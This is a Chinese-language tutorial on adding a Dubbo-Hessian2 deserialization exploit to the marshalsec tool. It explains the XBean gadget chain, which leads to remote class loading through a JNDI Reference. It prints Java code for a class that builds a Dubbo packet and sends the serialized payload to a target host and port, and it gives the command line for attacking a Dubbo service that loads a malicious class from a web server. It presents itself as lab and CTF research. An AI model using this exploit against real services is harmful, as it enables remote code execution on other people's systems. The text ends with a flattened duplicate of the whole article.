marshalsec改造篇-加入dubbo-hessian2 exploit
字数 1924 2025-08-06 08:35:27

Marshalsec改造篇:加入Dubbo-Hessian2 Exploit

0x00 前言

1. Marshalsec概述

Marshalsec是一个Java反序列化安全研究工具,官方描述为"将数据转换为代码执行"。它能够生成特定编码的数据,在JVM解码时执行预设的代码。

2. 使用方法

  1. 编译要求:Java 8
  2. 编译命令:mvn clean package -DskipTests
  3. 执行命令格式:
    java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
    
    参数说明:
    • -a:生成exploit下的所有payload
    • -v:verbose模式,展示生成的payload
    • -t:对生成的payload进行解码测试
    • gadget_type:指定使用的payload类型
    • arguments:payload运行时使用的参数

3. 支持的Exploit和Payload

Marshaller Gadget Impact
BlazeDSAMF(0|3|X) JDK only escalation to Java serialization, various third party libraries RCEs
Hessian|Burlap various third party RCEs
Castor dependency library RCE
... ...

0x01 Marshalsec源码分析

1. 项目结构

├── BlazeDSAMF0.java
├── BlazeDSAMF3.java
├── ...
├── DubboHessian.java (新增)
├── Hessian2.java (新增)
├── HessianBase2.java (新增)
├── ...
└── gadgets
    ├── ...
    └── XBean2.java (新增)

2. 核心执行流程

  1. 参数解析:解析-a-v-t等参数
  2. Gadget类型确定:根据输入确定使用的payload类型
  3. Payload生成:
    • 调用createObject创建payload对象
    • 调用marshal方法序列化对象
  4. 输出与测试:
    • 使用-v参数输出payload
    • 使用-t参数测试反序列化

3. 关键类分析

  • HessianBase:基础类,提供序列化/反序列化方法
  • Hessian:实现Hessian协议的具体类
  • MarshallerBase:所有exploits的基类,提供run方法

0x02 Hessian Payload原理分析

1. XBean Gadget分析

XBean利用链的核心流程:

  1. HashMap反序列化:Hessian反序列化HashMap时触发
  2. equals方法调用:由于两个元素的hashCode相同,触发equals方法
  3. toString方法调用:XString的equals方法调用ReadOnlyBinding的toString
  4. 远程类加载:ReadOnlyBinding的getObject方法加载远程恶意class

2. 关键调用栈

getObjectInstance:319, NamingManager
resolve:73, ContextUtil
getObject:204, ContextUtil$ReadOnlyBinding
toString:192, Binding
equals:392, XString
equals:104, HotSwappableTargetSource
putVal:634, HashMap
put:611, HashMap
readMap:114, MapDeserializer

3. 核心类说明

  • HotSwappableTargetSource:Spring AOP触发类
  • XString:触发toString的包装类
  • ReadOnlyBinding:包含Reference对象,触发远程类加载

0x03 Dubbo-Hessian2 Exploit实现

1. 新增类说明

  1. HessianBase2

    • 继承MarshallerBase
    • 实现XBean2接口
    • 提供Hessian2序列化基础功能
  2. Hessian2

    • 继承HessianBase2
    • 重写createOutput/createInput方法
    • 使用Hessian2Output/Hessian2Input
  3. DubboHessian

    • 攻击入口类
    • 处理dubbo协议封装
    • 实现TCP连接和攻击

2. 关键修改点

  1. 参数处理

    public DubboHessian(String[] args) {
        int argoff = 0;
        while (argoff < args.length && args[argoff].charAt(0) == '-') {
            if (args[argoff].equals("--attack")) {
                argoff++;
                host = args[argoff++];
                port = Integer.parseInt(args[argoff++]);
            } else {
                argoff++;
            }
        }
    }
    
  2. Dubbo协议封装

    private void attack(byte[] bytes) throws IOException {
        // 构造Dubbo协议头
        byte[] header = new byte[16];
        Bytes.short2bytes((short) 0xdabb, header);
        header[2] = (byte) ((byte) 0x80 | 2);
        Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
    
        // 构造Hessian2序列化数据
        ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
        out.writeUTF("2.0.2");
        out.writeUTF("com.example.DemoService"); // 服务名
        out.writeUTF("1.0"); // 版本号
        out.writeUTF("hello"); // 方法名
        out.writeUTF("Ljava/util/Map;"); // 方法描述
        out.flushBuffer();
    
        // 组合完整数据包
        Bytes.int2bytes(hessian2ByteArrayOutputStream.size() + bytes.length, header, 12);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        byteArrayOutputStream.write(header);
        byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
        byteArrayOutputStream.write(bytes);
    
        // 发送攻击数据
        Socket socket = new Socket(host, port);
        OutputStream outputStream = socket.getOutputStream();
        outputStream.write(byteArrayOutputStream.toByteArray());
        outputStream.flush();
        outputStream.close();
    }
    
  3. XBean2改进

    public interface XBean2 extends Gadget {
        @Args(minArgs = 2, args = {"codebase", "classname"}, 
              defaultArgs = {MarshallerBase.defaultCodebase, MarshallerBase.defaultCodebaseClass})
        default Object makeXBean(UtilFactory uf, String[] args) throws Exception {
            Context ctx = Reflections.createWithoutConstructor(WritableContext.class);
            Reference ref = new Reference("foo", args[1], args[0]);
            ReadOnlyBinding binding = new ReadOnlyBinding("foo", ref, ctx);
            return uf.makeToStringTriggerStable(binding);
        }
    }
    

0x04 测试与验证

1. 测试环境搭建

  1. Dubbo服务端

    • 使用Dubbo 2.6.3
    • 配置dubbo协议,端口20881
    • 示例服务接口:
      public interface DemoService {
          String hello();
      }
      
  2. 恶意类准备

    • 编译恶意类ExecObject.class
    • 放置在Web服务器可访问位置

2. 攻击执行

执行命令:

java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.DubboHessian --attack 127.0.0.1 20881 XBean2 http://127.0.0.1/ ExecObject

3. 测试结果

  • Spring/Spring Boot环境:可使用Rome、Resin gadget
  • 纯Spring环境:可使用SpringAbstractBeanFactoryPointcutAdvisor、Rome、XBean2、Resin

参考

PS

  1. Spring环境有版本限制,但SpringAbstractBeanFactoryPointcutAdvisor gadget在兼容版本中效果最佳
  2. 发现新的Dubbo攻击方式,适用于CTF场景
Marshalsec改造篇:加入Dubbo-Hessian2 Exploit 0x00 前言 1. Marshalsec概述 Marshalsec是一个Java反序列化安全研究工具,官方描述为"将数据转换为代码执行"。它能够生成特定编码的数据,在JVM解码时执行预设的代码。 2. 使用方法 编译要求:Java 8 编译命令: mvn clean package -DskipTests 执行命令格式: 参数说明: -a :生成exploit下的所有payload -v :verbose模式,展示生成的payload -t :对生成的payload进行解码测试 gadget_type :指定使用的payload类型 arguments :payload运行时使用的参数 3. 支持的Exploit和Payload | Marshaller | Gadget Impact | |------------|--------------| | BlazeDSAMF(0\|3\|X) | JDK only escalation to Java serialization, various third party libraries RCEs | | Hessian\|Burlap | various third party RCEs | | Castor | dependency library RCE | | ... | ... | 0x01 Marshalsec源码分析 1. 项目结构 2. 核心执行流程 参数解析:解析 -a 、 -v 、 -t 等参数 Gadget类型确定:根据输入确定使用的payload类型 Payload生成: 调用 createObject 创建payload对象 调用 marshal 方法序列化对象 输出与测试: 使用 -v 参数输出payload 使用 -t 参数测试反序列化 3. 关键类分析 HessianBase :基础类,提供序列化/反序列化方法 Hessian :实现Hessian协议的具体类 MarshallerBase :所有exploits的基类,提供run方法 0x02 Hessian Payload原理分析 1. XBean Gadget分析 XBean利用链的核心流程: HashMap反序列化 :Hessian反序列化HashMap时触发 equals方法调用 :由于两个元素的hashCode相同,触发equals方法 toString方法调用 :XString的equals方法调用ReadOnlyBinding的toString 远程类加载 :ReadOnlyBinding的getObject方法加载远程恶意class 2. 关键调用栈 3. 核心类说明 HotSwappableTargetSource :Spring AOP触发类 XString :触发toString的包装类 ReadOnlyBinding :包含Reference对象,触发远程类加载 0x03 Dubbo-Hessian2 Exploit实现 1. 新增类说明 HessianBase2 : 继承MarshallerBase 实现XBean2接口 提供Hessian2序列化基础功能 Hessian2 : 继承HessianBase2 重写createOutput/createInput方法 使用Hessian2Output/Hessian2Input DubboHessian : 攻击入口类 处理dubbo协议封装 实现TCP连接和攻击 2. 关键修改点 参数处理 : Dubbo协议封装 : XBean2改进 : 0x04 测试与验证 1. 测试环境搭建 Dubbo服务端 : 使用Dubbo 2.6.3 配置dubbo协议,端口20881 示例服务接口: 恶意类准备 : 编译恶意类ExecObject.class 放置在Web服务器可访问位置 2. 攻击执行 执行命令: 3. 测试结果 Spring/Spring Boot环境:可使用Rome、Resin gadget 纯Spring环境:可使用SpringAbstractBeanFactoryPointcutAdvisor、Rome、XBean2、Resin 参考 Dubbo源码浅析-默认反序列化利用之Hessian2 PS Spring环境有版本限制,但SpringAbstractBeanFactoryPointcutAdvisor gadget在兼容版本中效果最佳 发现新的Dubbo攻击方式,适用于CTF场景